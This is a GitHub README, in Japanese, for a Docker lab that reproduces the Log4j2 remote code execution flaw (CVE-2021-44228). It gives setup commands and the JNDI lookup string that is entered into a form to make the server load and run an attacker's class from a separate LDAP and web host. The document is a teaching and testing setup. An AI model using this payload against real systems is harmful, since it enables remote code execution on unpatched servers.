Skip to content

1hakusai1/log4j-rce-CVE-2021-44228

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

概要

log4j2のリモートコード実行の脆弱性(CVE-2021-44228)を実際に試すためのプロジェクトです。

コンテナを立ち上げる

docker-compose up

log4jコンテナは起動してから使えるようになるまで少し時間がかかります。以下のコマンドで進行状況を確認してください。

docker logs -f log4j

Server started: Listening on port 8081と表示されたら準備完了です。

攻撃前の状態の確認

log4jコンテナの/rootディレクトリを確認します。

docker exec log4j ls /root

初期状態では、workディレクトリのみがある状態です。

実際に攻撃を行う

http://localhost:8081/にアクセスします。フォームに入力された名前を、画面とログに出力するだけのシンプルなアプリケーションです。

フォームに${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com}を入力し、送信します。

log4jコンテナの/rootディレクトリを確認します。

docker exec log4j ls /root

攻撃者が用意したコードが実行され、先ほどまで存在しなかったファイルが作られているはずです。タイムスタンプをファイル名にしているので、攻撃を行った回数だけ新規ファイルが増えていきます。

ldapコンテナのログを確認すると、log4jコンテナからSEARCHリクエストが来ていることが確認できます。

docker logs ldap

webコンテナのtomcatのログを確認すると、log4jコンテナからExploit.class(攻撃に使用するクラス)に対するアクセスが来ていることが確認できます。

docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*

About

log4j2 CVE-2021-44228 POC

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published